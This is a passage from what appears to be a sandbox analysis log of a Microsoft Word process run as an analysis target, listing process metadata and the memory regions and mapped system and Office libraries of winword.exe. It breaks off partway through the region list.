# Flog Txt Version 1 # Analyzer Version: 2.3.2 # Analyzer Build Date: Nov 29 2018 14:58:43 # Log Creation Date: 08.01.2019 12:39:43.767 Process: id = "1" image_name = "winword.exe" filename = "c:\\program files\\microsoft office\\root\\office16\\winword.exe" page_root = "0x46b6e000" os_pid = "0x8cc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 134 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 135 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 136 start_va = 0x30000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 137 start_va = 0x130000 end_va = 0x133fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 138 start_va = 0x140000 end_va = 0x143fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 139 start_va = 0x150000 end_va = 0x1b6fff entry_point = 0x150000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 140 start_va = 0x1c0000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 141 start_va = 0x2c0000 end_va = 0x2c0fff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 142 start_va = 0x2d0000 end_va = 0x2d0fff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 143 start_va = 0x2e0000 end_va = 0x2e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002e0000" filename = "" Region: id = 144 start_va = 0x2f0000 end_va = 0x2f6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002f0000" filename = "" Region: id = 145 start_va = 0x300000 end_va = 0x301fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000300000" filename = "" Region: id = 146 start_va = 0x310000 end_va = 0x310fff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 147 start_va = 0x320000 end_va = 0x320fff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 148 start_va = 0x330000 end_va = 0x331fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000330000" filename = "" Region: id = 149 start_va = 0x340000 end_va = 0x341fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000340000" filename = "" Region: id = 150 start_va = 0x350000 end_va = 0x35ffff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 151 start_va = 0x360000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 152 start_va = 0x460000 end_va = 0x5e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 153 start_va = 0x5f0000 end_va = 0x770fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 154 start_va = 0x780000 end_va = 0x1b7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 155 start_va = 0x1b80000 end_va = 0x1e4efff entry_point = 0x1b80000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 156 start_va = 0x1e50000 end_va = 0x2242fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 157 start_va = 0x2250000 end_va = 0x2252fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002250000" filename = "" Region: id = 158 start_va = 0x2260000 end_va = 0x2261fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002260000" filename = "" Region: id = 159 start_va = 0x2270000 end_va = 0x236ffff entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 160 start_va = 0x2370000 end_va = 0x237ffff entry_point = 0x0 region_type = private name = "private_0x0000000002370000" filename = "" Region: id = 161 start_va = 0x2380000 end_va = 0x2382fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002380000" filename = "" Region: id = 162 start_va = 0x2390000 end_va = 0x2392fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002390000" filename = "" Region: id = 163 start_va = 0x23a0000 end_va = 0x23a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023a0000" filename = "" Region: id = 164 start_va = 0x23b0000 end_va = 0x23b2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023b0000" filename = "" Region: id = 165 start_va = 0x23c0000 end_va = 0x23c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000023c0000" filename = "" Region: id = 166 start_va = 0x23d0000 end_va = 0x240ffff entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 167 start_va = 0x2410000 end_va = 0x24eefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002410000" filename = "" Region: id = 168 start_va = 0x2500000 end_va = 0x250ffff entry_point = 0x0 region_type = private name = "private_0x0000000002500000" filename = "" Region: id = 169 start_va = 0x2510000 end_va = 0x270ffff entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 170 start_va = 0x2710000 end_va = 0x27cffff entry_point = 0x2710000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 171 start_va = 0x27f0000 end_va = 0x286ffff entry_point = 0x0 region_type = private name = "private_0x00000000027f0000" filename = "" Region: id = 172 start_va = 0x2930000 end_va = 0x2930fff entry_point = 0x0 region_type = private name = "private_0x0000000002930000" filename = "" Region: id = 173 start_va = 0x2940000 end_va = 0x2940fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002940000" filename = "" Region: id = 174 start_va = 0x2950000 end_va = 0x2951fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002950000" filename = "" Region: id = 175 start_va = 0x2960000 end_va = 0x296bfff entry_point = 0x2960000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 176 start_va = 0x2970000 end_va = 0x2977fff entry_point = 0x2970000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 177 start_va = 0x2980000 end_va = 0x298ffff entry_point = 0x2980000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 178 start_va = 0x2990000 end_va = 0x2a8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002990000" filename = "" Region: id = 179 start_va = 0x2a90000 end_va = 0x2a90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a90000" filename = "" Region: id = 180 start_va = 0x2aa0000 end_va = 0x2b9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002aa0000" filename = "" Region: id = 181 start_va = 0x2ba0000 end_va = 0x2ba0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002ba0000" filename = "" Region: id = 182 start_va = 0x2bb0000 end_va = 0x2bb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002bb0000" filename = "" Region: id = 183 start_va = 0x2bc0000 end_va = 0x2bc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002bc0000" filename = "" Region: id = 184 start_va = 0x2bd0000 end_va = 0x2bd4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002bd0000" filename = "" Region: id = 185 start_va = 0x2be0000 end_va = 0x2be0fff entry_point = 0x0 region_type = private name = "private_0x0000000002be0000" filename = "" Region: id = 186 start_va = 0x2bf0000 end_va = 0x2bf0fff entry_point = 0x0 region_type = private name = "private_0x0000000002bf0000" filename = "" Region: id = 187 start_va = 0x2c00000 end_va = 0x2c0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c00000" filename = "" Region: id = 188 start_va = 0x2c10000 end_va = 0x2c11fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c10000" filename = "" Region: id = 189 start_va = 0x2c20000 end_va = 0x2c20fff entry_point = 0x2c20000 region_type = mapped_file name = "msxml6r.dll" filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll") Region: id = 190 start_va = 0x2c30000 end_va = 0x2caffff entry_point = 0x0 region_type = private name = "private_0x0000000002c30000" filename = "" Region: id = 191 start_va = 0x2cb0000 end_va = 0x2ccffff entry_point = 0x2cb0000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db") Region: id = 192 start_va = 0x2cd0000 end_va = 0x2cdffff entry_point = 0x0 region_type = private name = "private_0x0000000002cd0000" filename = "" Region: id = 193 start_va = 0x2ce0000 end_va = 0x2ce0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002ce0000" filename = "" Region: id = 194 start_va = 0x2cf0000 end_va = 0x2cf1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cf0000" filename = "" Region: id = 195 start_va = 0x2d00000 end_va = 0x2d00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d00000" filename = "" Region: id = 196 start_va = 0x2f60000 end_va = 0x2fdffff entry_point = 0x0 region_type = private name = "private_0x0000000002f60000" filename = "" Region: id = 197 start_va = 0x2fe0000 end_va = 0x2fe1fff entry_point = 0x0 region_type = private name = "private_0x0000000002fe0000" filename = "" Region: id = 198 start_va = 0x2ff0000 end_va = 0x30effff entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 199 start_va = 0x30f0000 end_va = 0x30f0fff entry_point = 0x0 region_type = private name = "private_0x00000000030f0000" filename = "" Region: id = 200 start_va = 0x3100000 end_va = 0x31fffff entry_point = 0x0 region_type = private name = "private_0x0000000003100000" filename = "" Region: id = 201 start_va = 0x3200000 end_va = 0x32fffff entry_point = 0x0 region_type = private name = "private_0x0000000003200000" filename = "" Region: id = 202 start_va = 0x3300000 end_va = 0x36fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003300000" filename = "" Region: id = 203 start_va = 0x3700000 end_va = 0x37fffff entry_point = 0x0 region_type = private name = "private_0x0000000003700000" filename = "" Region: id = 204 start_va = 0x3800000 end_va = 0x3810fff entry_point = 0x3800000 region_type = mapped_file name = "c_1255.nls" filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls") Region: id = 205 start_va = 0x3840000 end_va = 0x393ffff entry_point = 0x0 region_type = private name = "private_0x0000000003840000" filename = "" Region: id = 206 start_va = 0x3940000 end_va = 0x3a3ffff entry_point = 0x0 region_type = private name = "private_0x0000000003940000" filename = "" Region: id = 207 start_va = 0x3a40000 end_va = 0x3abefff entry_point = 0x3a40000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 208 start_va = 0x3ad0000 end_va = 0x3bcffff entry_point = 0x0 region_type = private name = "private_0x0000000003ad0000" filename = "" Region: id = 209 start_va = 0x3c30000 end_va = 0x3d2ffff entry_point = 0x0 region_type = private name = "private_0x0000000003c30000" filename = "" Region: id = 210 start_va = 0x3d60000 end_va = 0x3d6ffff entry_point = 0x0 region_type = private name = "private_0x0000000003d60000" filename = "" Region: id = 211 start_va = 0x3db0000 end_va = 0x3eaffff entry_point = 0x0 region_type = private name = "private_0x0000000003db0000" filename = "" Region: id = 212 start_va = 0x3f10000 end_va = 0x3f8ffff entry_point = 0x0 region_type = private name = "private_0x0000000003f10000" filename = "" Region: id = 213 start_va = 0x3f90000 end_va = 0x438ffff entry_point = 0x0 region_type = private name = "private_0x0000000003f90000" filename = "" Region: id = 214 start_va = 0x4400000 end_va = 0x44fffff entry_point = 0x0 region_type = private name = "private_0x0000000004400000" filename = "" Region: id = 215 start_va = 0x4500000 end_va = 0x4842fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004500000" filename = "" Region: id = 216 start_va = 0x4890000 end_va = 0x490ffff entry_point = 0x0 region_type = private name = "private_0x0000000004890000" filename = "" Region: id = 217 start_va = 0x4970000 end_va = 0x4a6ffff entry_point = 0x0 region_type = private name = "private_0x0000000004970000" filename = "" Region: id = 218 start_va = 0x4a70000 end_va = 0x4b6ffff entry_point = 0x0 region_type = private name = "private_0x0000000004a70000" filename = "" Region: id = 219 start_va = 0x4bf0000 end_va = 0x4ceffff entry_point = 0x0 region_type = private name = "private_0x0000000004bf0000" filename = "" Region: id = 220 start_va = 0x4cf0000 end_va = 0x4deffff entry_point = 0x0 region_type = private name = "private_0x0000000004cf0000" filename = "" Region: id = 221 start_va = 0x4e80000 end_va = 0x4e8ffff entry_point = 0x0 region_type = private name = "private_0x0000000004e80000" filename = "" Region: id = 222 start_va = 0x4e90000 end_va = 0x4e9ffff entry_point = 0x0 region_type = private name = "private_0x0000000004e90000" filename = "" Region: id = 223 start_va = 0x4ed0000 end_va = 0x4fcffff entry_point = 0x0 region_type = private name = "private_0x0000000004ed0000" filename = "" Region: id = 224 start_va = 0x5040000 end_va = 0x513ffff entry_point = 0x0 region_type = private name = "private_0x0000000005040000" filename = "" Region: id = 225 start_va = 0x5140000 end_va = 0x51eafff entry_point = 0x5140000 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 226 start_va = 0x51f0000 end_va = 0x52effff entry_point = 0x0 region_type = private name = "private_0x00000000051f0000" filename = "" Region: id = 227 start_va = 0x52f0000 end_va = 0x5aeffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000052f0000" filename = "" Region: id = 228 start_va = 0x5af0000 end_va = 0x641ffff entry_point = 0x5af0000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 229 start_va = 0x6420000 end_va = 0x6c1ffff entry_point = 0x0 region_type = private name = "private_0x0000000006420000" filename = "" Region: id = 230 start_va = 0x6c20000 end_va = 0x7c1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006c20000" filename = "" Region: id = 231 start_va = 0x7cb0000 end_va = 0x7d2ffff entry_point = 0x0 region_type = private name = "private_0x0000000007cb0000" filename = "" Region: id = 232 start_va = 0x7e00000 end_va = 0x7efffff entry_point = 0x0 region_type = private name = "private_0x0000000007e00000" filename = "" Region: id = 233 start_va = 0x7fa0000 end_va = 0x801ffff entry_point = 0x0 region_type = private name = "private_0x0000000007fa0000" filename = "" Region: id = 234 start_va = 0x80d0000 end_va = 0x814ffff entry_point = 0x0 region_type = private name = "private_0x00000000080d0000" filename = "" Region: id = 235 start_va = 0x8150000 end_va = 0x854ffff entry_point = 0x0 region_type = private name = "private_0x0000000008150000" filename = "" Region: id = 236 start_va = 0x8690000 end_va = 0x878ffff entry_point = 0x0 region_type = private name = "private_0x0000000008690000" filename = "" Region: id = 237 start_va = 0x8790000 end_va = 0x8b90fff entry_point = 0x0 region_type = private name = "private_0x0000000008790000" filename = "" Region: id = 238 start_va = 0x8ba0000 end_va = 0x8fa0fff entry_point = 0x0 region_type = private name = "private_0x0000000008ba0000" filename = "" Region: id = 239 start_va = 0x8fb0000 end_va = 0x93b0fff entry_point = 0x0 region_type = private name = "private_0x0000000008fb0000" filename = "" Region: id = 240 start_va = 0x93c0000 end_va = 0x95bffff entry_point = 0x0 region_type = private name = "private_0x00000000093c0000" filename = "" Region: id = 241 start_va = 0x95c0000 end_va = 0xa5c0fff entry_point = 0x0 region_type = private name = "private_0x00000000095c0000" filename = "" Region: id = 242 start_va = 0xa5d0000 end_va = 0xa9cffff entry_point = 0x0 region_type = private name = "private_0x000000000a5d0000" filename = "" Region: id = 243 start_va = 0x37a30000 end_va = 0x37a3ffff entry_point = 0x0 region_type = private name = "private_0x0000000037a30000" filename = "" Region: id = 244 start_va = 0x37c80000 end_va = 0x37c8ffff entry_point = 0x0 region_type = private name = "private_0x0000000037c80000" filename = "" Region: id = 245 start_va = 0x751b0000 end_va = 0x751e2fff entry_point = 0x751b0000 region_type = mapped_file name = "osppc.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll") Region: id = 246 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 247 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 248 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 249 start_va = 0x77e00000 end_va = 0x77e06fff entry_point = 0x77e00000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 250 start_va = 0x77e10000 end_va = 0x77e12fff entry_point = 0x77e10000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll") Region: id = 251 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 252 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 253 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 254 start_va = 0x13f690000 end_va = 0x13f86bfff entry_point = 0x13f690000 region_type = mapped_file name = "winword.exe" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.exe") Region: id = 255 start_va = 0x7febdd50000 end_va = 0x7febdd5ffff entry_point = 0x0 region_type = private name = "private_0x000007febdd50000" filename = "" Region: id = 256 start_va = 0x7febfb90000 end_va = 0x7febfb9ffff entry_point = 0x0 region_type = private name = "private_0x000007febfb90000" filename = "" Region: id = 257 start_va = 0x7fee4be0000 end_va = 0x7fee4e34fff entry_point = 0x7fee4be0000 region_type = mapped_file name = "ivy.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\IVY.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ivy.dll") Region: id = 258 start_va = 0x7fee4e40000 end_va = 0x7fee5c15fff entry_point = 0x7fee4e40000 region_type = mapped_file name = "chart.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\CHART.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\chart.dll") Region: id = 259 start_va = 0x7fee5c20000 end_va = 0x7fee5d93fff entry_point = 0x7fee5c20000 region_type = mapped_file name = "msptls.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSPTLS.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msptls.dll") Region: id = 260 start_va = 0x7fee5da0000 end_va = 0x7fee5eb9fff entry_point = 0x7fee5da0000 region_type = mapped_file name = "adal.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\ADAL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\adal.dll") Region: id = 261 start_va = 0x7fee5ec0000 end_va = 0x7fee615afff entry_point = 0x7fee5ec0000 region_type = mapped_file name = "riched20.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\RICHED20.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\riched20.dll") Region: id = 262 start_va = 0x7fee6290000 end_va = 0x7fee6328fff entry_point = 0x7fee6290000 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 263 start_va = 0x7fee6330000 end_va = 0x7fee639efff entry_point = 0x7fee6330000 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 264 start_va = 0x7fee63a0000 end_va = 0x7fee651dfff entry_point = 0x7fee63a0000 region_type = mapped_file name = "dwrite.dll" filename = "\\Windows\\System32\\DWrite.dll" (normalized: "c:\\windows\\system32\\dwrite.dll") Region: id = 265 start_va = 0x7fee6520000 end_va = 0x7fee66effff entry_point = 0x7fee6520000 region_type = mapped_file name = "d3d10warp.dll" filename = "\\Windows\\System32\\d3d10warp.dll" (normalized: "c:\\windows\\system32\\d3d10warp.dll") Region: id = 266 start_va = 0x7fee66f0000 end_va = 0x7fee688cfff entry_point = 0x7fee66f0000 region_type = mapped_file name = "msointl.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\msointl.dll") Region: id = 267 start_va = 0x7fee6890000 end_va = 0x7feeac76fff entry_point = 0x7fee6890000 region_type = mapped_file name = "msores.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSORES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msores.dll") Region: id = 268 start_va = 0x7feeac80000 end_va = 0x7feeb974fff entry_point = 0x7feeac80000 region_type = mapped_file name = "mso99lres.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO99LRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso99lres.dll") Region: id = 269 start_va = 0x7feeb980000 end_va = 0x7feebdbcfff entry_point = 0x7feeb980000 region_type = mapped_file name = "mso40uires.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO40UIRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso40uires.dll") Region: id = 270 start_va = 0x7feebdc0000 end_va = 0x7feebea1fff entry_point = 0x7feebdc0000 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll") Region: id = 271 start_va = 0x7feebeb0000 end_va = 0x7feed8dbfff entry_point = 0x7feebeb0000 region_type = mapped_file name = "mso.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso.dll") Region: id = 272 start_va = 0x7feed8e0000 end_va = 0x7feee586fff entry_point = 0x7feed8e0000 region_type = mapped_file name = "mso98win32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso98win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso98win32client.dll") Region: id = 273 start_va = 0x7feee590000 end_va = 0x7feef05efff entry_point = 0x7feee590000 region_type = mapped_file name = "mso40uiwin32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso40UIwin32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso40uiwin32client.dll") Region: id = 274 start_va = 0x7feef060000 end_va = 0x7feef743fff entry_point = 0x7feef060000 region_type = mapped_file name = "mso30win32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso30win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso30win32client.dll") Region: id = 275 start_va = 0x7feef750000 end_va = 0x7feefbf2fff entry_point = 0x7feef750000 region_type = mapped_file name = "mso20win32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso20win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso20win32client.dll") Region: id = 276 start_va = 0x7feefc00000 end_va = 0x7feefc9bfff entry_point = 0x7feefc00000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\System\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\system\\msvcp140.dll") Region: id = 277 start_va = 0x7feefca0000 end_va = 0x7fef0c24fff entry_point = 0x7feefca0000 region_type = mapped_file name = "oart.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\OART.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\oart.dll") Region: id = 278 start_va = 0x7fef0c30000 end_va = 0x7fef3408fff entry_point = 0x7fef0c30000 region_type = mapped_file name = "wwlib.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\WWLIB.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wwlib.dll") Region: id = 279 start_va = 0x7fef3410000 end_va = 0x7fef3420fff entry_point = 0x7fef3410000 region_type = mapped_file name = "msointl30.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\msointl30.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\msointl30.dll") Region: id = 280 start_va = 0x7fef3430000 end_va = 0x7fef34effff entry_point = 0x7fef3430000 region_type = mapped_file name = "wwintl.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wwintl.dll") Region: id = 281 start_va = 0x7fef3620000 end_va = 0x7fef36aafff entry_point = 0x7fef3620000 region_type = mapped_file name = "mso50win32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso50win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso50win32client.dll") Region: id = 282 start_va = 0x7fef36b0000 end_va = 0x7fef3775fff entry_point = 0x7fef36b0000 region_type = mapped_file name = "d3d11.dll" filename = "\\Windows\\System32\\d3d11.dll" (normalized: "c:\\windows\\system32\\d3d11.dll") Region: id = 283 start_va = 0x7fef4d40000 end_va = 0x7fef4d5bfff entry_point = 0x7fef4d40000 region_type = mapped_file name = "rasman.dll" filename 